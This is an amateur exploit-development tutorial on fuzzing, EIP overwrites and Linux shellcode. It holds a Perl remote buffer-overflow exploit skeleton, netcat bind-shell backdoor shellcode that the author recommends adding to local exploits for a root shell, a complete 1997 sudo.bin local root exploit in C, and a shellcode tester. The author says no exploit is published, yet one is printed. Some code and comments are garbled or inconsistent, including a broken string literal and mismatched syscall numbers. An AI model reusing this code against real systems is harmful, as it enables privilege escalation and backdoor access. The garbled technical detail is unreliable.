Anatomy of Exploit - World of Shellcode

####### Anatomy of Exploit #######
####### World of Shellcode #######

-----# Introduction On Exploits

Nowadays the word exploit is becoming frightened, thousands of peoples
that are in field of IT should(is a must) know how to make a exploit or even
how to defend by exploits. Out there are hundreds of exploits
that are published in several websites like exploit-db.com, secunia.com
1337day.com etc. Exploitation means using a program routine or a 0day attack
to own the OS or crashing the program. Exploiting a program is a clever
way of getting the computer to do what you want it to, even if the currently
running program was designed to prevent that actions. It can do only what you
have programmed to do. To get rid of exploit you should learn assembly language
as it is the language which can talk directly to the kernel, C,c++,Perl, Python
programming which by system calls() we can call the kernel. For me those languages
are enough but since the Computer are in evolution you should not stop learning
other programming language. In this paper i wont publish no exploit but to explain
the make of it, the importance of it, and clearing some misunderstanding in our
mind,
in our brain, so when we read a source code should not become confused. But
someone
in IRC asked to me how many types of exploit do we have. In reality there are
too many types of exploits but i will mention the most important
exploits that are used today's.

-----# Remote exploits

Exploits can be developed almost at any operation system, but the most
comfortable OS is Linux and Windows today's. I don't know about Windows because
we need to install tools like Microsoft visual c++,python 2.7 or Perl and using
them
in CMD. But in Linux the gcc, as, ld are the GNU defaults compilers.
In Linux you should have learnt sockets to get a routine and get the work done.
We have the shell which is too important to program an exploit. But in this
section
the purpose is understanding the remote exploits and creating the basic of it.
Getting rid of the vulnerability of the program you want or the system you want
to get privileges on the System. Here we go in the Art of Fuzzing which we send
many characters to overflow or to flood and crash the Program. But how do we know

what is the address of the eip, to get exploit it in way ret2eip which means ret2eip=Return the Address of eip. I'm explaining the steps:

[Step One]
Before you develop any exploit, you need to determine whether a vulnerability exists in the application. This is where the art of fuzzing comes into play. Since it is remote we can't know the address of register in which we crashed the program.
This step is getting a better fuzzer like Spike and Metasploit. When the fuzzer will be stopped we only get the length of the char's.

[Step Two]
Get on work with fuzzer. Practice it. Run it.In this step we ran the fuzzer and what we get only the length of the chars but to exploit a program we need eip. Length(X1h21hsdpgm234jlasn356kklasdn432210ifaslkj4120sd .....) etc. We only have the length.

[Step Three]
We download the program in our system and test it with the fuzzer. As the target is
127.0.0.1 we launch a debugger like Ollydbg and we will watch what will happen when the fuzz will start. The program will be overflowed and the eip will be on red
line. Here we got what we wanted to have. We got the eip, now what.

[Step Four]
Prepare the shellcode. What is shellcode?-Shellcode is made in assembly language with instructions to get the shell with system calls like execve or execl.

#########
Note   #
#########
Im having in mind that you know the assembly and how to get the shellcode from it with programs like objdump, gcc etc.

[Step Four]
Prepare the exploit with the need of.In this section im using a perl script to introduce you on exploiting in a basic way.

```
#!/usr/bin/perl
use IO::Socket;

$header = "TRUN /.:/";                                  (we put the TRUN header
here)
$junk = "" x pattern;                                   (Junk or like garbage to
overflow)
                                                        (We can get the pattern
with
                                                        pattern_create tool of
metasploit)
$eip = pack('v', 0x85f61a2f);                           (The eip, the most
important of exploit)
$nop = "\x90" x 20;                                     (NOP=No Operation, Making
shellcode nonull)
$shellcode =                                            (The shellcode)
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\" +
"x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53" +
```

```
"\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";


$socket = IO::Socket::INET->new(                        (Socket I/O INET FAMILY)
Proto => "tcp",                                         (TCP Protocol)
PeerAddr => "$ARGV[0]",                                 (First Arg)
PeerPort => "$ARGV[1]",                                 (Second Arg)
);

socket->recv($serverdata, 1024);                        (Data we receive)
print $serverdata;                                      (Print that data)
$socket->send($header.$junk.$eip.$nop.$shellcode);      (Using socket to send them
all)
```

[Step Five]
We have the exploit, now get on run it.For the exploit above we type the command:

```
root@shadow~:/root$ ./exploit.pl target host
```

And if you would be succesful you will get a shell in system,and if you have the shell you can get on exploit kernel to get root privileges. Here we go on Local Exploits wich will be explained now.

-----# Local Exploits

These are the most dificult exploit to develop becauze here you should learn UNIX environment
and syscalls() that are nedded to have a shell on uid.UID stands for user id, and the
uid of root will be always 0.To understand this type of exploit you should absolutely know
assembly language to work around with __NR_$syscall.__NR_$syscall are liste in dir of
/usr/include/asm-generic/unistd.h where there are all number for each respective syscall().Assembly language is the most used outthere for making shellcode, here we have
an program wich is pause.asm

```
root@shadow~:/root$ cat pause.asm

section .text   ; Text section
global _start   ; _start is global

_start:         ; _start function
xor ebx, ebx    ; Zero out ebx register
mov al, 29      ; Insert __NR_pause 11 syscall, see "Appendix A"
int 0x80        ; Syscall execute
```

Assemble and Link

```
root@shadow~:/root$ nasm -f elf pause.asm && ld pause.o -o pause
```

Time to run

```
root@shadow~:/root$ ./pause
^c
```

It worked and pause the System, I used CTRL-C to exit from program.

Now Get the Opcodes

```
root@shadow~:/root$ objdump -d pause.o

pause.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   31 db                   xor    %ebx,%ebx
   2:   b0 1d                   mov    $0x1d,%al
   4:   cd 80                   int    $0x80
```

This is a small shellcode but what would you do if it will be long.

I used xxd to make the way easier, see Apendix B.

```
root@shadow~:/root$ ./xxd pause.o

"\x31\xdb\xb0\x1d\xcd\x80"
```

Test Shellcode

```
root@shadow~:/root$ ./shtest "\x31\xdb\xb0\x1d\xcd\x80"

Shellcode at 0x804b140
Registers before call:
  esp: 0xbfbf0d70, ebp: 0xbfbf0da8
  esi: (nil), edi: (nil)
----------------------
^C
```

Here I used the shellcode tester made by hellman, see Apendix C.We saw that the system
pauses and executed the shellcode with success.

But the purpose of local exploit is to get superuser privileges, by syscall it can be done
where we use routines to tire up the system and break the linux-so.gate.1 to get uid=0.
That is the main purpose of local exploit, since you have exploit a system you need
priveleges to conduct actions on this system.They can't be call exploits but a SETUID
program to get done with rid of system <-- That what Linus Torvalds told.
And it is right since we make a program in assembly language with system calls
and we run them to have root shell.The opcodes are the hex codes that make a direct call
to the kernel.Thus codes speaks with kernel and tell it to get the root shell or
i will overflow you.To take a brief understanding in shellcodes you should read
papers that are published outside on Internet or read Books that are dedicated
on this are of Computer Programming Science.
Developing a local exploit we should either know heap overflows wich plays around
with programs, buffer overflows wich plays around with buffer register and the

stack-based overflows.

```
        :Heap Overflows:
                Read article of W00w00 on heaptut
                http://www.cgsecurity.org/exploit/heaptut.txt
        :Buffer Overflows:
                Read article of Saif El-Sherei
                http://www.exploit-db.com/wp-content/themes/exploit/docs/28475.pdf
        :Stack-based buffer overflows:
                Read article of Aleph1 Smashing the stack
                http://www.phrack.org/issues/49/14.html#article
```

After you read them you will get a better understand on how the system works and how
register works and how to make them doing what you programmed the program to do.Today
all of people are focused on social media and had left the computer science, they are
no more dedicated on reading, today lechers or script kiddies reads some paper and copys
the program's to merge into one and they call themselves programmers.No, thats wrong, they
will never become programmers that copies other people's programs to own it.So why i connected
this sentece on here.All what i want to say that script kiddies wont have ideas on systems
only if they copy the programs, so to make local exploit we should have an idea and a
purpose with lot of imaginary and learn how the system works.
In a clever way im going to say that making SHELLCODE and EXPLOIT need IDEAS.

Before going to an "real-life local exploit" i will explain and one more shellcode wich
uses netcat to get a uid=0 gid=0 groups=0 root shell:

Netcat Shellcode.asm

List the program.

```
root@shadow:~/root$ cat ntcat.asm
;Author Flor Ian shadow
;Contact flor_iano@hotmail.com
jmp short todo
shellcode:
xor eax, eax            ; Zero out eax
xor ebx, ebx            ; Zero out ebx
xor ecx, ecx            ; Zero out ecx
xor edx, edx            ; Zero out edx using the sign bit from eax
mov BYTE al, 0xa4       ; setresuid syscall 164 (0xa4)
int 0x80                ; syscall execute
pop esi                 ; esi contain the string in db
xor eax, eax            ; Zero out eax
mov[esi + 7], al        ; null terminate /bin/nc
mov[esi +  16], al      ; null terminate -lvp90
mov[esi +  26], al      ; null terminate -e/bin/sh
```

```
mov[esi +  27], esi     ; store address of /bin/nc in AAAA
lea ebx, [esi + 8]      ; load address of -lvp90 into ebx
mov[esi +31], ebx       ; store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17]     ; load address of -e/bin/sh into  ebx
mov[esi + 35], ebx      ; store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax      ; Zero out DDDD
mov al, 11              ; 11 is execve  syscakk number
mov ebx, esi            ; store address of  /bin/nc
lea ecx, [esi + 27]     ; load address of ptr to argv[] array
lea edx, [esi + 39]     ; envp[] NULL
int 0x80                ; syscall execute
todo:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
;   01234567890123456789012345678901234567890123
```

Assemble and Link

```
root@shadow:~/root$ nasm -f elf ntcat.asm && ld ntcat.o -o ntcat
```

Run to see if it works

```
root@shadow:~/root$ ./ntcat

listening on [any] 9999 ...
^c It Works
```

Get shellcode

```
root@shadow:~/root$ ./xxd ntcat.o

"\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\
x46\x10\
x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x2
7\xb0\x0b
\
x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6
e\x63\x23
\
x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x4
1\x41\x41
\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
```

Test it

```
root@shadow:~/root$ ./shtest "\xeb\x35\x31\xc0\....\\x44\x44\x44\x44"

listening on [any] 9999 ...
```

From any machine you can connect to this by nc IP 9999 and get a root shell
See Appendix for a universal Shellcode on getting shell.

You would ask, Why you use this example when we are talking to local exploits.This program is
often called a backdoor and it is used a lot on all programs from big

Companies.Shellcode
can have the work done in last two minutes as im saying learn it.I added here this shellcode
so you can add this in your local exploits to get the work done and get a root shell to
conduct whatever command you wanted to.

Now it time to present you a local exploit as example and explain you the sections of it.
I said that i wont give you no exploit in this paper so i will just explain how they works
to you and get a better understand on exploits so you can create them.

```
-------------------------------------------------------------------------------
-----------------

#include <unistd.h>             /* Syscall() list                              */
#include <stdio.h>              /* I/O                                         */
#include <stdlib.h>             /* Define macros for several types of data     */
#include <fcntl.h>              /* Perform Operation in files                  */
#include <sys/stat.h>           /* defines the structure of the data returned  */

#define PATH_SUDO "/usr/bin/sudo.bin"   /* Macro defined PATH_SUDO      */
#define BUFFER_SIZE 1024                /* Macro defined Buffer Size    */
#define DEFAULT_OFFSET 50               /* the amount or distance       */

u_long get_esp()                        /* Return Stack pointer         */
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)             /* Main funciton                */
{
  u_char execshell[] =                  /* Aleph1's /bin/sh shellcode   */
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;                   /* char-Buff is a pointer cast and =
NUll(0)    */
   unsigned long *addr_ptr = NULL;      /* addr_ptr is a pointer unsigned long =
Null(0)*/
   char *ptr = NULL;                    /* char-ptr is a pointer cast and =
NULL(0)     */

   int i;                               /* Declare var integer i;
*/
   int ofs = DEFAULT_OFFSET;            /* Declare var ofs wich is equaled to
Deffault_offset macro */

   buff = malloc(4096);                 /* Buff pointer is equaled to memory
allocation 4096 Bytes  */
   if(!buff)                            /* If conditional !buf cant be done
*/
   {
      printf("can't allocate memory\n");/* Printf String */
      exit(0);                          /* Exit */
```

```
   }
   ptr = buff;                          /* buff is equaled to ptr var pointer,
LVALUE=RVALUE    */

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));    /* memset function from
right to left   */
   ptr += BUFFER_SIZE-strlen(execshell);                /* Fill of ptr */

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)                   /* For loop to add
shellcode in buffer  */
      *(ptr++) = execshell[i];                          /* Exec
*/

   addr_ptr = (long *)ptr;              /* Execshell is = *(ptr) and ptr =
addr_ptr     */
   for(i=0;i < (8/4);i++)               /* for loop
*/
      *(addr_ptr++) = get_esp() + ofs;  /* addr_ptr++ is equaled to the value of
stack pointer and off*/
   ptr = (char *)addr_ptr;              /* Get return to *ptr
*/
   *ptr = 0;                            /* Make it zero
*/

   printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n");        /* Author
Information           */
   setenv("NLSPATH",buff,1);            /* Set environmet 1 to buff and buff to
NLSPATH         */
   execl(PATH_SUDO, "sudo.bin","bash", NULL);   /* Execl sys call to execute the
program        */
}
```

And we compile it and we get a shell, this is an local exploit of 1997, i took just as a
example.So what I told you about shellcodes, they are used at almost of local exploit nowadays.

A begginer programmer will see this source code and will say that i can't learn them till my end of life
but it is wrong.That is the first disappointed in our heart.So how to get rid of programming,
first we need to be creative and have ideas as i told again.

######
NOTE #
######
Have a learn of kernel syscalls(), their numbers, have a learn of shellcodes and how to understand them, learn programming languages as much as you can.

APPENDIX - Universal Shellcode to get shell

```
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

root@shadow:~/root$ cat getshell.asm

section .text           ; Text section
        global _start   ; Define _start function

_start:                 ; _start function
xor eax, eax            ; Zero out eax REGister
xor ebx, ebx            ; Zero out ebx REGister
xor ecx, ecx            ; Zero out ecx REGister
cdq                     ; Zero out edx using the sign bit from eax
push ecx                ; Insert 4 byte null in stack
push 0x68732f6e         ; Insert /bin in the stack
push 0x69622f2f         ; Insert //sh in the stack
mov  ebx, esp           ; Put /bin//sh in stack
push ecx                ; Put 4 Byte in stack
push ebx                ; Put ebx in stack
mov  ecx, esp           ; Insert ebx address in ecx
xor  eax, eax           ; Zero out eax register
mov  al, 11             ; Insert __NR_execve 11 syscall
int  0x80               ; Syscall execute

root@shadow:~/root$ ./xxd getshell.o

"\x31\xc0\x31\xdb\x31\xc9\x99\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\
x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

That Was all, Thanx for READING.

--------------------------------------------------------------------------------
-----------------

        APPENDIX A - SysCall List
        ~~~~~~~~~~~~~~~~~~~~~~~~~

root@shadow:~/root$ cat syscall.txt


00 sys_setup [sys_ni_syscall]
01 sys_exit
02 sys_fork
03 sys_read
04 sys_write
05 sys_open
06 sys_close
07 sys_waitpid
08 sys_creat
09 sys_link
10 sys_unlink
11 sys_execve
12 sys_chdir
13 sys_time
14 sys_mknod
15 sys_chmod
16 sys_lchown
17 sys_break [sys_ni_syscall]
18 sys_oldstat [sys_stat]
```

```
19 sys_lseek
20 sys_getpid
21 sys_mount
22 sys_umount [sys_oldumount]
23 sys_setuid
24 sys_getuid
25 sys_stime
26 sys_ptrace
27 sys_alarm
28 sys_oldfstat [sys_fstat]
29 sys_pause
30 sys_utime
31 sys_stty [sys_ni_syscall]
32 sys_gtty [sys_ni_syscall]
33 sys_access
34 sys_nice
35 sys_ftime [sys_ni_syscall]
36 sys_sync
37 sys_kill
38 sys_rename
39 sys_mkdir
40 sys_rmdir
41 sys_dup
42 sys_pipe
43 sys_times
44 sys_prof [sys_ni_syscall]
45 sys_brk
46 sys_setgid
47 sys_getgid
48 sys_signal
49 sys_geteuid
50 sys_getegid
51 sys_acct
52 sys_umount2 [sys_umount] (2.2+)
53 sys_lock [sys_ni_syscall]
54 sys_ioctl
55 sys_fcntl
56 sys_mpx [sys_ni_syscall]
57 sys_setpgid
58 sys_ulimit [sys_ni_syscall]
59 sys_oldolduname
60 sys_umask
61 sys_chroot
62 sys_ustat
63 sys_dup2
64 sys_getppid
65 sys_getpgrp
66 sys_setsid
67 sys_sigaction
68 sys_sgetmask
69 sys_ssetmask
70 sys_setreuid
71 sys_setregid
72 sys_sigsuspend
73 sys_sigpending
74 sys_sethostname
75 sys_setrlimit
76 sys_getrlimit
```

```
77 sys_getrusage
78 sys_gettimeofday
79 sys_settimeofday
80 sys_getgroups
81 sys_setgroups
82 sys_select [old_select]
83 sys_symlink
84 sys_oldlstat [sys_lstat]
85 sys_readlink
86 sys_uselib
87 sys_swapon
88 sys_reboot
89 sys_readdir [old_readdir]
90 sys_mmap [old_mmap]
91 sys_munmap
92 sys_truncate
93 sys_ftruncate
94 sys_fchmod
95 sys_fchown
96 sys_getpriority
97 sys_setpriority
98 sys_profil [sys_ni_syscall]
99 sys_statfs
100 sys_fstatfs
101 sys_ioperm
102 sys_socketcall
103 sys_syslog
104 sys_setitimer
105 sys_getitimer
106 sys_stat [sys_newstat]
107 sys_lstat [sys_newlstat]
108 sys_fstat [sys_newfstat]
109 sys_olduname [sys_uname]
110 sys_iopl
111 sys_vhangup
112 sys_idle
113 sys_vm86old
114 sys_wait4
115 sys_swapoff
116 sys_sysinfo
117 sys_ipc
118 sys_fsync
119 sys_sigreturn
120 sys_clone
121 sys_setdomainname
122 sys_uname [sys_newuname]
123 sys_modify_ldt
124 sys_adjtimex
125 sys_mprotect
126 sys_sigprocmask
127 sys_create_module
128 sys_init_module
129 sys_delete_module
130 sys_get_kernel_syms
131 sys_quotactl
132 sys_getpgid
133 sys_fchdir
134 sys_bdflush
```

```
135 sys_sysfs
136 sys_personality
137 sys_afs_syscall [sys_ni_syscall]
138 sys_setfsuid
139 sys_setfsgid
140 sys__llseek [sys_lseek]
141 sys_getdents
142 sys__newselect [sys_select]
143 sys_flock
144 sys_msync
145 sys_readv
146 sys_writev
147 sys_getsid
148 sys_fdatasync
149 sys__sysctl [sys_sysctl]
150 sys_mlock
151 sys_munlock
152 sys_mlockall
153 sys_munlockall
154 sys_sched_setparam
155 sys_sched_getparam
156 sys_sched_setscheduler
157 sys_sched_getscheduler
158 sys_sched_yield
159 sys_sched_get_priority_max
160 sys_sched_get_priority_min
161 sys_sched_rr_get_interval
162 sys_nanosleep
163 sys_mremap
164 sys_setresuid (2.2+)
165 sys_getresuid (2.2+)
166 sys_vm86
167 sys_query_module (2.2+)
168 sys_poll (2.2+)
169 sys_nfsservctl (2.2+)
170 sys_setresgid (2.2+)
171 sys_getresgid (2.2+)
172 sys_prctl (2.2+)
173 sys_rt_sigreturn (2.2+)
174 sys_rt_sigaction (2.2+)
175 sys_rt_sigprocmask (2.2+)
176 sys_rt_sigpending (2.2+)
177 sys_rt_sigtimedwait (2.2+)
178 sys_rt_sigqueueinfo (2.2+)
179 sys_rt_sigsuspend (2.2+)
180 sys_pread (2.2+)
181 sys_pwrite (2.2+)
182 sys_chown (2.2+)
183 sys_getcwd (2.2+)
184 sys_capget (2.2+)
185 sys_capset (2.2+)
186 sys_sigaltstack (2.2+)
187 sys_sendfile (2.2+)
188 sys_getpmsg [sys_ni_syscall]
189 sys_putpmsg [sys_ni_syscall]
190 sys_vfork (2.2+)

--------------------------------------------------------------------------------
```

```
-----------------

                APPENDIX B - XXD Program
                ~~~~~~~~~~~~~~~~~~~~~~~~

root@shadow:~/root$ cat xxd

#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.o\n\n"
    exit
fi
filename=`echo $1 | sed s/"\.o$"//`
rm -f $filename.shellcode

objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut
-f1-6 -d' '
| tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed
's/^/"/' | sed 's/$/"/g'

echo


------------------------------------------------------------------------------
-----------------

                APPENDIX C - Shtester Program
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I added the program here not to get a long paper, but i added for you in case that
the author
will erase it or the website will be shutdown

root@shadow:~/root$ cat shtest.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h> /* See NOTES */
#include <sys/wait.h>
#include <sys/socket.h>

/*-----------------------------------------
    Shellcode testing program
    Usage:
        shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' |
'\xb8\x39\x05\x00\x00\xc3'}
    Usage example:
        $ shtest $'\xeb\xfe'                 # raw shellcode
        $ shtest '\xb8\x39\x05\x00\x00\xc3'  # escaped shellcode
        $ shtest -f test.sc                  # shellcode from file
        $ shtest -f <(python gen_payload.py) # test generated payload
```

```
        $ shtest -s 5 -f test.sc             # create socket at fd=5
            # Allows to test staged shellcodes
            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT
    Compiling:
        gcc -Wall shtest.c -o shtest

-----------------------------------------*/

char buf[4096];
int pid1, pid2;
int sock;
int ready;

void usage(char * err);
int main(int argc, char **argv);

void load_from_file(char *fname);
void copy_from_argument(char *arg);
void escape_error();

int create_sock();
void run_reader(int);
void run_writer(int);
void set_ready(int sig);

void run_shellcode(void *sc_ptr);


void usage(char * err) {
    printf("    Shellcode testing program\n\
    Usage:\n\
        shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\
    Usage example:\n\
        $ shtest $'\\xeb\\xfe'                  # raw shellcode\n\
        $ shtest '\\xb8\\x39\\x05\\x00\\x00\\xc3'  # escaped shellcode\n\
        $ shtest -f test.sc                  # shellcode from file\n\
        $ shtest -f <(python gen_payload.py) # test generated payload\n\
        $ shtest -s 5 -f test.sc             # create socket at fd=5 (STDIN <-
SOCKET -> STDOUT)\n\
            # Allows to test staged shellcodes\
            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\
    Compiling:\n\
        gcc -Wall shtest.c -o shtest\n\
    Author: hellman (hellman1908@gmail.com)\n");
    if (err) printf("\nerr: %s\n", err);
    exit(1);
}

int main(int argc, char **argv) {
    char * fname = NULL;
    int c;

    pid1 = pid2 = -1;
    sock = -1;

    while ((c = getopt(argc, argv, "hus:f:")) != -1) {
        switch (c) {
            case 'f':
```

```
                fname = optarg;
                break;
            case 's':
                sock = atoi(optarg);
                if (sock <= 2 || sock > 1024)
                    usage("bad descriptor number for sock");
                break;
            case 'h':
            case 'u':
                usage(NULL);
            default:
                usage("unknown argument");
        }
    }

    if (argc == 1)
        usage(NULL);

    if (optind < argc && fname)
        usage("can't load shellcode both from argument and file");

    if (!(optind < argc) && !fname)
        usage("please provide shellcode via either argument or file");

    if (optind < argc) {
        copy_from_argument(argv[optind]);
    }
    else {
        load_from_file(fname);
    }

    //create socket if needed
    if (sock != -1) {
        int created_sock = create_sock(sock);
        printf("Created socket %d\n", created_sock);
    }

    run_shellcode(buf);
    return 100;
}

void load_from_file(char *fname) {
    FILE * fd = fopen(fname, "r");
    if (!fd) {
        perror("fopen");
        exit(100);
    }

    int c = fread(buf, 1, 4096, fd);
    printf("Read %d bytes from '%s'\n", c, fname);
    fclose(fd);
}

void copy_from_argument(char *arg) {
    //try to translate from escapes ( \xc3 )

    bzero(buf, sizeof(buf));
    strncpy(buf, arg, sizeof(buf));
```

```
    int i;
    char *p1 = buf;
    char *p2 = buf;
    char *end = p1 + strlen(p1);

    while (p1 < end) {
        i = sscanf(p1, "\\x%02x", (unsigned int *)p2);
        if (i != 1) {
            if (p2 == p1) break;
            else escape_error();
        }

        p1 += 4;
        p2 += 1;
    }
}

void escape_error() {
    printf("Shellcode is incorrectly escaped!\n");
    exit(1);
}

int create_sock() {
    int fds[2];
    int sock2;

    int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
    if (result == -1) {
        perror("socket");
        exit(101);
    }

    if (sock == fds[0]) {
        sock2 = fds[1];
    }
    else if (sock == fds[1]) {
        sock2 = fds[0];
    }
    else {
        dup2(fds[0], sock);
        close(fds[0]);
        sock2 = fds[1];
    }

    ready = 0;
    signal(SIGUSR1, set_ready);

    /*
    writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits)
    \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes
socket)
         \--> reader: sock -> stdout (when SC exits/fails, socket is closed and
reader exits)
    main saves pid1 = reader,
               pid2 = writer
    to send them SIGUSR1 right before running shellcode
    */
```

```
    pid1 = fork();
    if (pid1 == 0) {
        close(sock);
        run_reader(sock2);
    }

    pid2 = fork();
    if (pid2 > 0) { // parent - writer
        signal(SIGCHLD, exit);
        close(sock);
        run_writer(sock2);
    }
    pid2 = getppid();

    close(sock2);
    return sock;
}

void run_reader(int fd) {
    char buf[4096];
    int n;

    while (!ready) {
        usleep(0.1);
    }

    while (1) {
        n = read(fd, buf, sizeof(buf));
        if (n > 0) {
            printf("RECV %d bytes FROM SOCKET: ", n);
            fflush(stdout);
            write(1, buf, n);
        }
        else {
            exit(0);
        }
    }
}

void run_writer(int fd) {
    char buf[4096];
    int n;

    while (!ready) {
        usleep(0.1);
    }

    while (1) {
        n = read(0, buf, sizeof(buf));
        if (n > 0) {
            printf("SENT %d bytes TO SOCKET\n", n);
            write(fd, buf, n);
        }
        else {
            shutdown(fd, SHUT_WR);
            close(fd);
            wait(&n);
```

```
            exit(0);
        }
    }
}

void set_ready(int sig) {
    ready = 1;
}

void run_shellcode(void *sc_ptr) {
    int ret = 0, status = 0;
    int (*ptr)();

    ptr = sc_ptr;
    mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7);

    void *esp, *ebp;
    void *edi, *esi;

    asm ("movl %%esp, %0;"
         "movl %%ebp, %1;"
         :"=r"(esp), "=r"(ebp));

    asm ("movl %%esi, %0;"
         "movl %%edi, %1;"
         :"=r"(esi), "=r"(edi));

    printf("Shellcode at %p\n", ptr);
    printf("Registers before call:\n");
    printf("  esp: %p, ebp: %p\n", esp, ebp);
    printf("  esi: %p, edi: %p\n", esi, edi);

    printf("----------------------\n");
    if (pid1 > 0) kill(pid1, SIGUSR1);
    if (pid2 > 0) kill(pid2, SIGUSR1);

    ret = (*ptr)();

    if (sock != -1)
        close(sock);

    wait(&status);

    printf("----------------------\n");

    printf("Shellcode returned %d\n", ret);
    exit(0);
}
```
